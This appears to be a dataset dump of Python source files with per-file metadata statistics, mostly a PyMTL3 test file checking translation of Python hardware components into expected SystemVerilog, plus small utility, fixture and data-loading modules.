| 0.827472
| 0.827472
| 0.827472
| 0
| 0.017218
| 0.551107
| 11,515
| 269
| 87
| 42.806691
| 0.741923
| 0.004168
| 0
| 0.588462
| 0
| 0.007692
| 0.142633
| 0.004885
| 0
| 0
| 0
| 0
| 0.007692
| 1
| 0.007692
| false
| 0
| 0.019231
| 0
| 0.026923
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
33ed2fd81d333706544940c1be806734fdf0703a
| 60
|
py
|
Python
|
tests/results/040_medium_complex_multiple_hook_test2.py
|
CowboyTim/python-storable
|
f03cf0eae60eeb9c3345e9ddf3370a49a316e472
|
[
"Zlib"
] | 8
|
2015-04-24T07:27:42.000Z
|
2020-10-30T20:51:40.000Z
|
tests/results/040_medium_complex_multiple_hook_test2.py
|
CowboyTim/python-storable
|
f03cf0eae60eeb9c3345e9ddf3370a49a316e472
|
[
"Zlib"
] | 7
|
2015-09-08T01:40:12.000Z
|
2021-09-29T15:19:46.000Z
|
tests/results/040_medium_complex_multiple_hook_test2.py
|
CowboyTim/python-storable
|
f03cf0eae60eeb9c3345e9ddf3370a49a316e472
|
[
"Zlib"
] | 10
|
2015-07-22T13:57:04.000Z
|
2020-09-03T18:32:39.000Z
|
result = [
{0: 0, 1: 'var 1'},
{0: 0, 1: 'var 2'}
]
| 12
| 23
| 0.333333
| 11
| 60
| 1.818182
| 0.454545
| 0.2
| 0.3
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.210526
| 0.366667
| 60
| 4
| 24
| 15
| 0.315789
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d51176b82464413c5c34eb63b2ae7ef8de0a1073
| 336
|
py
|
Python
|
cse4305-compilers/Exceptions.py
|
mqt0029/univ-courses
|
d3f565adf7cc1312f8eaf3d6fb83362b1a4cef33
|
[
"MIT"
] | null | null | null |
cse4305-compilers/Exceptions.py
|
mqt0029/univ-courses
|
d3f565adf7cc1312f8eaf3d6fb83362b1a4cef33
|
[
"MIT"
] | null | null | null |
cse4305-compilers/Exceptions.py
|
mqt0029/univ-courses
|
d3f565adf7cc1312f8eaf3d6fb83362b1a4cef33
|
[
"MIT"
] | 1
|
2021-03-24T21:13:18.000Z
|
2021-03-24T21:13:18.000Z
|
# Tram, Minh
# mqt0029
# 1001540029
# 2019-05-13
#---------#---------#---------#---------#---------#--------#
class InternalError( Exception ) : pass
class LexicalError( Exception ) : pass
class SemanticError( Exception ) : pass
class SyntacticError( Exception ) : pass
#---------#---------#---------#---------#---------#--------#
| 28
| 60
| 0.467262
| 23
| 336
| 6.826087
| 0.608696
| 0.33121
| 0.343949
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074324
| 0.119048
| 336
| 11
| 61
| 30.545455
| 0.456081
| 0.434524
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 1
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
1d518f39ab951fe54d98143a3a32e4b8a29c33b5
| 77
|
py
|
Python
|
tests/test_basics.py
|
leuchtum/folderman
|
bbaf05e689107e363784d340f8c85dd2ce3e3486
|
[
"MIT"
] | null | null | null |
tests/test_basics.py
|
leuchtum/folderman
|
bbaf05e689107e363784d340f8c85dd2ce3e3486
|
[
"MIT"
] | null | null | null |
tests/test_basics.py
|
leuchtum/folderman
|
bbaf05e689107e363784d340f8c85dd2ce3e3486
|
[
"MIT"
] | null | null | null |
import pytest
from folderman import Folder
def test_root_path():
pass
| 9.625
| 28
| 0.753247
| 11
| 77
| 5.090909
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.207792
| 77
| 7
| 29
| 11
| 0.918033
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0.25
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
1d52e119ff0bc52a8d7548bc52024fdec3cd0b96
| 410
|
py
|
Python
|
radicalsdk/radar/v1_constants.py
|
moodoki/radical_sdk
|
4438678cf73e156e5058ddb035ec8e5875fca84e
|
[
"Apache-2.0"
] | 7
|
2021-05-20T01:12:39.000Z
|
2021-12-30T12:38:07.000Z
|
radicalsdk/radar/v1_constants.py
|
moodoki/radical_sdk
|
4438678cf73e156e5058ddb035ec8e5875fca84e
|
[
"Apache-2.0"
] | null | null | null |
radicalsdk/radar/v1_constants.py
|
moodoki/radical_sdk
|
4438678cf73e156e5058ddb035ec8e5875fca84e
|
[
"Apache-2.0"
] | null | null | null |
import os
import numpy as np
class TupperwearD435_0:
F = np.load(os.path.join(os.path.dirname(__file__), 'v1_data/f_matrix.npy'))
P = np.load(os.path.join(os.path.dirname(__file__), 'v1_data/p_matrix_original.npy'))
class TupperwearD435:
F = np.load(os.path.join(os.path.dirname(__file__), 'v1_data/f_matrix.npy'))
P = np.load(os.path.join(os.path.dirname(__file__), 'v1_data/p_matrix.npy'))
| 37.272727
| 89
| 0.721951
| 72
| 410
| 3.75
| 0.277778
| 0.177778
| 0.118519
| 0.177778
| 0.718519
| 0.718519
| 0.718519
| 0.718519
| 0.718519
| 0.718519
| 0
| 0.030055
| 0.107317
| 410
| 10
| 90
| 41
| 0.70765
| 0
| 0
| 0.25
| 0
| 0
| 0.217073
| 0.070732
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
d55ca4e5b2e004bfdeeb1cf42c17be3937860062
| 2,825
|
py
|
Python
|
load_data.py
|
yodacatmeow/VGG16-SNU-B36-50
|
e583eccfc9775288f457bfef4655a813e827eb03
|
[
"MIT"
] | 2
|
2018-07-31T08:56:15.000Z
|
2021-08-12T07:15:20.000Z
|
load_data.py
|
yodacatmeow/VGG16-SNU-B36-50
|
e583eccfc9775288f457bfef4655a813e827eb03
|
[
"MIT"
] | null | null | null |
load_data.py
|
yodacatmeow/VGG16-SNU-B36-50
|
e583eccfc9775288f457bfef4655a813e827eb03
|
[
"MIT"
] | null | null | null |
# Public python modules
import numpy as np
import pandas as pd
import pickle
import feature
from os import path
# If categories of test data = categories of the training data
class load():
def __init__(self, data_path, batch_size):
self.pointer = 0
self.dataframe = pickle.load(open(data_path,"rb"))
self.batch_size = batch_size
self.n_batch = int(len(self.dataframe) / self.batch_size) # The number of batches
self.n_class = len(set(self.dataframe['category'].values)) # The number of classes
# Batch
def batch(self, dataframe):
x_data = []
y_data = []
# get patches from the saved data (in here, "/dataset/train.p" OR "/dataset/valid.p") and append
for i, row in dataframe.iterrows():
# Select dataframe[row, 'patch']
patch = row['patch']
# Append "patch" to "x_data"
x_data.append(np.float32(patch))
# One-hot encoding
cl = row['category']
y = np.zeros(self.n_class)
y[cl] = 1
y_data.append(y)
return x_data, y_data
#print("x:", x_data)
#print("y:", y_data)
# Mini-batch (via batch(self, dataframe) )
def next_batch(self):
start_pos = self.pointer * self.batch_size
batch_df = self.dataframe.iloc[start_pos:start_pos + self.batch_size]
self.pointer = (self.pointer + 1) % self.n_batch # Move pointer for the next mini-batch
return self.batch(batch_df)
# If categories of test data ~= categories of the training data
class load2():
def __init__(self, data_path, batch_size):
self.pointer = 0
self.dataframe = pickle.load(open(data_path,"rb"))
self.batch_size = batch_size
self.n_batch = int(len(self.dataframe) / self.batch_size)
self.n_class = len(set(self.dataframe['category'].values))
# Batch
def batch(self, dataframe):
x_data = []
y_data = []
# get patches from the saved data (in here, "/dataset/train.p" OR "/dataset/valid.p") and append
for i, row in dataframe.iterrows():
# Select dataframe[row, 'patch']
patch = row['patch']
# Append "patch" to "x_data"
x_data.append(np.float32(patch))
# Append category
cl = row['track_id']
y_data.append(cl)
return x_data, y_data
# Mini-batch (via batch(self, dataframe) )
def next_batch(self):
start_pos = self.pointer * self.batch_size
batch_df = self.dataframe.iloc[start_pos:start_pos + self.batch_size]
self.pointer = (self.pointer + 1) % self.n_batch # Move pointer for the next mini-batch
return self.batch(batch_df)
if __name__ == "__main__":
import gen_data
| 34.876543
| 104
| 0.60531
| 386
| 2,825
| 4.251295
| 0.222798
| 0.065814
| 0.063376
| 0.048751
| 0.833029
| 0.816575
| 0.816575
| 0.816575
| 0.816575
| 0.764168
| 0
| 0.004936
| 0.282832
| 2,825
| 80
| 105
| 35.3125
| 0.805035
| 0.259469
| 0
| 0.705882
| 0
| 0
| 0.026112
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.117647
| false
| 0
| 0.117647
| 0
| 0.352941
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d59139410c2f3047f148712d6a8b17c6e90881b8
| 29,945
|
py
|
Python
|
pymtl3/passes/sverilog/translation/test/SVTranslator_L2_cases_test.py
|
hsqforfun/pymtl3
|
05e06601cf262a663a95d1235cb99056ece84580
|
[
"BSD-3-Clause"
] | 1
|
2019-11-12T12:26:01.000Z
|
2019-11-12T12:26:01.000Z
|
pymtl3/passes/sverilog/translation/test/SVTranslator_L2_cases_test.py
|
hsqforfun/pymtl3
|
05e06601cf262a663a95d1235cb99056ece84580
|
[
"BSD-3-Clause"
] | null | null | null |
pymtl3/passes/sverilog/translation/test/SVTranslator_L2_cases_test.py
|
hsqforfun/pymtl3
|
05e06601cf262a663a95d1235cb99056ece84580
|
[
"BSD-3-Clause"
] | null | null | null |
#=========================================================================
# SVTranslator_L2_cases_test.py
#=========================================================================
"""Test the SystemVerilog translator."""
from pymtl3.datatypes import Bits1, Bits32, Bits96, bitstruct, concat
from pymtl3.dsl import Component, InPort, OutPort, Wire, connect
from pymtl3.passes.rtlir.util.test_utility import do_test
from pymtl3.passes.sverilog.translation.structural.test.SVStructuralTranslatorL1_test import (
check_eq,
)
from pymtl3.passes.sverilog.translation.SVTranslator import SVTranslator
def local_do_test( m ):
m.elaborate()
tr = SVTranslator( m )
tr.translate( m )
check_eq( tr.hierarchy.src, m._ref_src )
#-------------------------------------------------------------------------
# Behavioral
#-------------------------------------------------------------------------
def test_if( do_test ):
class A( Component ):
def construct( s ):
s.in_1 = InPort( Bits32 )
s.in_2 = InPort( Bits32 )
s.out = OutPort( Bits32 )
@s.update
def upblk():
if Bits1(1):
s.out = s.in_1
else:
s.out = s.in_2
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_1,
input logic [31:0] in_2,
output logic [31:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// if Bits1(1):
// s.out = s.in_1
// else:
// s.out = s.in_2
always_comb begin : upblk
if ( 1'd1 ) begin
out = in_1;
end
else
out = in_2;
end
endmodule
"""
a._ref_src_yosys = a._ref_src
do_test( a )
def test_if_dangling_else_inner( do_test ):
class A( Component ):
def construct( s ):
s.in_1 = InPort( Bits32 )
s.in_2 = InPort( Bits32 )
s.out = OutPort( Bits32 )
@s.update
def upblk():
if Bits1(1):
if Bits1(0):
s.out = s.in_1
else:
s.out = s.in_2
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_1,
input logic [31:0] in_2,
output logic [31:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// if Bits1(1):
// if Bits1(0):
// s.out = s.in_1
// else:
// s.out = s.in_2
always_comb begin : upblk
if ( 1'd1 ) begin
if ( 1'd0 ) begin
out = in_1;
end
else
out = in_2;
end
end
endmodule
"""
a._ref_src_yosys = a._ref_src
do_test( a )
def test_if_dangling_else_outter( do_test ):
class A( Component ):
def construct( s ):
s.in_1 = InPort( Bits32 )
s.in_2 = InPort( Bits32 )
s.out = OutPort( Bits32 )
@s.update
def upblk():
if Bits1(1):
if Bits1(0):
s.out = s.in_1
else:
s.out = s.in_2
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_1,
input logic [31:0] in_2,
output logic [31:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// if Bits1(1):
// if Bits1(0):
// s.out = s.in_1
// else:
// s.out = s.in_2
always_comb begin : upblk
if ( 1'd1 ) begin
if ( 1'd0 ) begin
out = in_1;
end
end
else
out = in_2;
end
endmodule
"""
a._ref_src_yosys = a._ref_src
do_test( a )
def test_if_branches( do_test ):
class A( Component ):
def construct( s ):
s.in_1 = InPort( Bits32 )
s.in_2 = InPort( Bits32 )
s.in_3 = InPort( Bits32 )
s.out = OutPort( Bits32 )
@s.update
def upblk():
if Bits1(1):
s.out = s.in_1
elif Bits1(0):
s.out = s.in_2
else:
s.out = s.in_3
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_1,
input logic [31:0] in_2,
input logic [31:0] in_3,
output logic [31:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// if Bits1(1):
// s.out = s.in_1
// elif Bits1(0):
// s.out = s.in_2
// else:
// s.out = s.in_3
always_comb begin : upblk
if ( 1'd1 ) begin
out = in_1;
end
else if ( 1'd0 ) begin
out = in_2;
end
else
out = in_3;
end
endmodule
"""
a._ref_src_yosys = a._ref_src
do_test( a )
def test_nested_if( do_test ):
class A( Component ):
def construct( s ):
s.in_1 = InPort( Bits32 )
s.in_2 = InPort( Bits32 )
s.in_3 = InPort( Bits32 )
s.out = OutPort( Bits32 )
@s.update
def upblk():
if Bits1(1):
if Bits1(0):
s.out = s.in_1
else:
s.out = s.in_2
elif Bits1(0):
if Bits1(1):
s.out = s.in_2
else:
s.out = s.in_3
else:
if Bits1(1):
s.out = s.in_3
else:
s.out = s.in_1
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_1,
input logic [31:0] in_2,
input logic [31:0] in_3,
output logic [31:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// if Bits1(1):
// if Bits1(0):
// s.out = s.in_1
// else:
// s.out = s.in_2
// elif Bits1(0):
// if Bits1(1):
// s.out = s.in_2
// else:
// s.out = s.in_3
// else:
// if Bits1(1):
// s.out = s.in_3
// else:
// s.out = s.in_1
always_comb begin : upblk
if ( 1'd1 ) begin
if ( 1'd0 ) begin
out = in_1;
end
else
out = in_2;
end
else if ( 1'd0 ) begin
if ( 1'd1 ) begin
out = in_2;
end
else
out = in_3;
end
else if ( 1'd1 ) begin
out = in_3;
end
else
out = in_1;
end
endmodule
"""
a._ref_src_yosys = a._ref_src
do_test( a )
def test_for_range_upper( do_test ):
class A( Component ):
def construct( s ):
s.in_ = [ InPort( Bits32 ) for _ in range(2) ]
s.out = [ OutPort( Bits32 ) for _ in range(2) ]
@s.update
def upblk():
for i in range(2):
s.out[i] = s.in_[i]
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_ [0:1],
output logic [31:0] out [0:1],
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(2):
// s.out[i] = s.in_[i]
always_comb begin : upblk
for ( int i = 0; i < 2; i += 1 )
out[i] = in_[i];
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___0,
input logic [31:0] in___1,
output logic [31:0] out__0,
output logic [31:0] out__1,
input logic [0:0] reset
);
logic [31:0] in_ [0:1];
logic [31:0] out [0:1];
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(2):
// s.out[i] = s.in_[i]
integer __loopvar__upblk_i;
always_comb begin : upblk
for ( __loopvar__upblk_i = 0; __loopvar__upblk_i < 2; __loopvar__upblk_i = __loopvar__upblk_i + 1 )
out[__loopvar__upblk_i] = in_[__loopvar__upblk_i];
end
assign in_[0] = in___0;
assign in_[1] = in___1;
assign out__0 = out[0];
assign out__1 = out[1];
endmodule
"""
do_test( a )
def test_for_range_lower_upper( do_test ):
class A( Component ):
def construct( s ):
s.in_ = [ InPort( Bits32 ) for _ in range(2) ]
s.out = [ OutPort( Bits32 ) for _ in range(2) ]
@s.update
def upblk():
for i in range(1, 2):
s.out[i] = s.in_[i]
s.out[0] = s.in_[0]
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_ [0:1],
output logic [31:0] out [0:1],
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(1, 2):
// s.out[i] = s.in_[i]
// s.out[0] = s.in_[0]
always_comb begin : upblk
for ( int i = 1; i < 2; i += 1 )
out[i] = in_[i];
out[0] = in_[0];
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___0,
input logic [31:0] in___1,
output logic [31:0] out__0,
output logic [31:0] out__1,
input logic [0:0] reset
);
logic [31:0] in_ [0:1];
logic [31:0] out [0:1];
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(1, 2):
// s.out[i] = s.in_[i]
// s.out[0] = s.in_[0]
integer __loopvar__upblk_i;
always_comb begin : upblk
for ( __loopvar__upblk_i = 1; __loopvar__upblk_i < 2; __loopvar__upblk_i = __loopvar__upblk_i + 1 )
out[__loopvar__upblk_i] = in_[__loopvar__upblk_i];
out[0] = in_[0];
end
assign in_[0] = in___0;
assign in_[1] = in___1;
assign out__0 = out[0];
assign out__1 = out[1];
endmodule
"""
do_test( a )
def test_for_range_lower_upper_step( do_test ):
class A( Component ):
def construct( s ):
s.in_ = [ InPort( Bits32 ) for _ in range(5) ]
s.out = [ OutPort( Bits32 ) for _ in range(5) ]
@s.update
def upblk():
for i in range(0, 5, 2):
s.out[i] = s.in_[i]
for i in range(1, 5, 2):
s.out[i] = s.in_[i]
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_ [0:4],
output logic [31:0] out [0:4],
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(0, 5, 2):
// s.out[i] = s.in_[i]
// for i in range(1, 5, 2):
// s.out[i] = s.in_[i]
always_comb begin : upblk
for ( int i = 0; i < 5; i += 2 )
out[i] = in_[i];
for ( int i = 1; i < 5; i += 2 )
out[i] = in_[i];
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___0,
input logic [31:0] in___1,
input logic [31:0] in___2,
input logic [31:0] in___3,
input logic [31:0] in___4,
output logic [31:0] out__0,
output logic [31:0] out__1,
output logic [31:0] out__2,
output logic [31:0] out__3,
output logic [31:0] out__4,
input logic [0:0] reset
);
logic [31:0] in_ [0:4];
logic [31:0] out [0:4];
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(0, 5, 2):
// s.out[i] = s.in_[i]
// for i in range(1, 5, 2):
// s.out[i] = s.in_[i]
integer __loopvar__upblk_i;
always_comb begin : upblk
for ( __loopvar__upblk_i = 0; __loopvar__upblk_i < 5; __loopvar__upblk_i = __loopvar__upblk_i + 2 )
out[__loopvar__upblk_i] = in_[__loopvar__upblk_i];
for ( __loopvar__upblk_i = 1; __loopvar__upblk_i < 5; __loopvar__upblk_i = __loopvar__upblk_i + 2 )
out[__loopvar__upblk_i] = in_[__loopvar__upblk_i];
end
assign in_[0] = in___0;
assign in_[1] = in___1;
assign in_[2] = in___2;
assign in_[3] = in___3;
assign in_[4] = in___4;
assign out__0 = out[0];
assign out__1 = out[1];
assign out__2 = out[2];
assign out__3 = out[3];
assign out__4 = out[4];
endmodule
"""
do_test( a )
def test_if_exp_for( do_test ):
class A( Component ):
def construct( s ):
s.in_ = [ InPort( Bits32 ) for _ in range(5) ]
s.out = [ OutPort( Bits32 ) for _ in range(5) ]
@s.update
def upblk():
for i in range(5):
s.out[i] = s.in_[i] if i == 1 else s.in_[0]
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_ [0:4],
output logic [31:0] out [0:4],
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(5):
// s.out[i] = s.in_[i] if i == 1 else s.in_[0]
always_comb begin : upblk
for ( int i = 0; i < 5; i += 1 )
out[i] = ( i == 1 ) ? in_[i] : in_[0];
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___0,
input logic [31:0] in___1,
input logic [31:0] in___2,
input logic [31:0] in___3,
input logic [31:0] in___4,
output logic [31:0] out__0,
output logic [31:0] out__1,
output logic [31:0] out__2,
output logic [31:0] out__3,
output logic [31:0] out__4,
input logic [0:0] reset
);
logic [31:0] in_ [0:4];
logic [31:0] out [0:4];
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(5):
// s.out[i] = s.in_[i] if i == 1 else s.in_[0]
integer __loopvar__upblk_i;
always_comb begin : upblk
for ( __loopvar__upblk_i = 0; __loopvar__upblk_i < 5; __loopvar__upblk_i = __loopvar__upblk_i + 1 )
out[__loopvar__upblk_i] = ( __loopvar__upblk_i == 1 ) ? in_[__loopvar__upblk_i] : in_[0];
end
assign in_[0] = in___0;
assign in_[1] = in___1;
assign in_[2] = in___2;
assign in_[3] = in___3;
assign in_[4] = in___4;
assign out__0 = out[0];
assign out__1 = out[1];
assign out__2 = out[2];
assign out__3 = out[3];
assign out__4 = out[4];
endmodule
"""
do_test( a )
def test_if_exp_unary_op( do_test ):
class A( Component ):
def construct( s ):
s.in_ = [ InPort( Bits32 ) for _ in range(5) ]
s.out = [ OutPort( Bits32 ) for _ in range(5) ]
@s.update
def upblk():
for i in range(5):
s.out[i] = (~s.in_[i]) if i == 1 else s.in_[0]
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_ [0:4],
output logic [31:0] out [0:4],
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(5):
// s.out[i] = (~s.in_[i]) if i == 1 else s.in_[0]
always_comb begin : upblk
for ( int i = 0; i < 5; i += 1 )
out[i] = ( i == 1 ) ? ~in_[i] : in_[0];
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___0,
input logic [31:0] in___1,
input logic [31:0] in___2,
input logic [31:0] in___3,
input logic [31:0] in___4,
output logic [31:0] out__0,
output logic [31:0] out__1,
output logic [31:0] out__2,
output logic [31:0] out__3,
output logic [31:0] out__4,
input logic [0:0] reset
);
logic [31:0] in_ [0:4];
logic [31:0] out [0:4];
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(5):
// s.out[i] = (~s.in_[i]) if i == 1 else s.in_[0]
integer __loopvar__upblk_i;
always_comb begin : upblk
for ( __loopvar__upblk_i = 0; __loopvar__upblk_i < 5; __loopvar__upblk_i = __loopvar__upblk_i + 1 )
out[__loopvar__upblk_i] = ( __loopvar__upblk_i == 1 ) ? ~in_[__loopvar__upblk_i] : in_[0];
end
assign in_[0] = in___0;
assign in_[1] = in___1;
assign in_[2] = in___2;
assign in_[3] = in___3;
assign in_[4] = in___4;
assign out__0 = out[0];
assign out__1 = out[1];
assign out__2 = out[2];
assign out__3 = out[3];
assign out__4 = out[4];
endmodule
"""
do_test( a )
def test_if_bool_op( do_test ):
class A( Component ):
def construct( s ):
s.in_ = [ InPort( Bits32 ) for _ in range(5) ]
s.out = [ OutPort( Bits32 ) for _ in range(5) ]
@s.update
def upblk():
for i in range(5):
if s.in_[i] and (s.in_[i+1] if i<5 else s.in_[4]):
s.out[i] = s.in_[i]
else:
s.out[i] = Bits32(0)
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_ [0:4],
output logic [31:0] out [0:4],
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(5):
// if s.in_[i] and (s.in_[i+1] if i<5 else s.in_[4]):
// s.out[i] = s.in_[i]
// else:
// s.out[i] = Bits32(0)
always_comb begin : upblk
for ( int i = 0; i < 5; i += 1 )
if ( in_[i] && ( ( i < 5 ) ? in_[i + 1] : in_[4] ) ) begin
out[i] = in_[i];
end
else
out[i] = 32'd0;
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___0,
input logic [31:0] in___1,
input logic [31:0] in___2,
input logic [31:0] in___3,
input logic [31:0] in___4,
output logic [31:0] out__0,
output logic [31:0] out__1,
output logic [31:0] out__2,
output logic [31:0] out__3,
output logic [31:0] out__4,
input logic [0:0] reset
);
logic [31:0] in_ [0:4];
logic [31:0] out [0:4];
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(5):
// if s.in_[i] and (s.in_[i+1] if i<5 else s.in_[4]):
// s.out[i] = s.in_[i]
// else:
// s.out[i] = Bits32(0)
integer __loopvar__upblk_i;
always_comb begin : upblk
for ( __loopvar__upblk_i = 0; __loopvar__upblk_i < 5; __loopvar__upblk_i = __loopvar__upblk_i + 1 )
if ( in_[__loopvar__upblk_i] && ( ( __loopvar__upblk_i < 5 ) ? in_[__loopvar__upblk_i + 1] : in_[4] ) ) begin
out[__loopvar__upblk_i] = in_[__loopvar__upblk_i];
end
else
out[__loopvar__upblk_i] = 32'd0;
end
assign in_[0] = in___0;
assign in_[1] = in___1;
assign in_[2] = in___2;
assign in_[3] = in___3;
assign in_[4] = in___4;
assign out__0 = out[0];
assign out__1 = out[1];
assign out__2 = out[2];
assign out__3 = out[3];
assign out__4 = out[4];
endmodule
"""
do_test( a )
def test_tmpvar( do_test ):
class A( Component ):
def construct( s ):
s.in_ = [ InPort( Bits32 ) for _ in range(5) ]
s.out = [ OutPort( Bits32 ) for _ in range(5) ]
@s.update
def upblk():
for i in range(5):
if s.in_[i] and (s.in_[i+1] if i<5 else s.in_[4]):
tmpvar = s.in_[i]
else:
tmpvar = Bits32(0)
s.out[i] = tmpvar
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_ [0:4],
output logic [31:0] out [0:4],
input logic [0:0] reset
);
logic [31:0] __tmpvar__upblk_tmpvar;
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(5):
// if s.in_[i] and (s.in_[i+1] if i<5 else s.in_[4]):
// tmpvar = s.in_[i]
// else:
// tmpvar = Bits32(0)
// s.out[i] = tmpvar
always_comb begin : upblk
for ( int i = 0; i < 5; i += 1 ) begin
if ( in_[i] && ( ( i < 5 ) ? in_[i + 1] : in_[4] ) ) begin
__tmpvar__upblk_tmpvar = in_[i];
end
else
__tmpvar__upblk_tmpvar = 32'd0;
out[i] = __tmpvar__upblk_tmpvar;
end
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___0,
input logic [31:0] in___1,
input logic [31:0] in___2,
input logic [31:0] in___3,
input logic [31:0] in___4,
output logic [31:0] out__0,
output logic [31:0] out__1,
output logic [31:0] out__2,
output logic [31:0] out__3,
output logic [31:0] out__4,
input logic [0:0] reset
);
logic [31:0] in_ [0:4];
logic [31:0] out [0:4];
logic [31:0] __tmpvar__upblk_tmpvar;
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// for i in range(5):
// if s.in_[i] and (s.in_[i+1] if i<5 else s.in_[4]):
// tmpvar = s.in_[i]
// else:
// tmpvar = Bits32(0)
// s.out[i] = tmpvar
integer __loopvar__upblk_i;
always_comb begin : upblk
for ( __loopvar__upblk_i = 0; __loopvar__upblk_i < 5; __loopvar__upblk_i = __loopvar__upblk_i + 1 ) begin
if ( in_[__loopvar__upblk_i] && ( ( __loopvar__upblk_i < 5 ) ? in_[__loopvar__upblk_i + 1] : in_[4] ) ) begin
__tmpvar__upblk_tmpvar = in_[__loopvar__upblk_i];
end
else
__tmpvar__upblk_tmpvar = 32'd0;
out[__loopvar__upblk_i] = __tmpvar__upblk_tmpvar;
end
end
assign in_[0] = in___0;
assign in_[1] = in___1;
assign in_[2] = in___2;
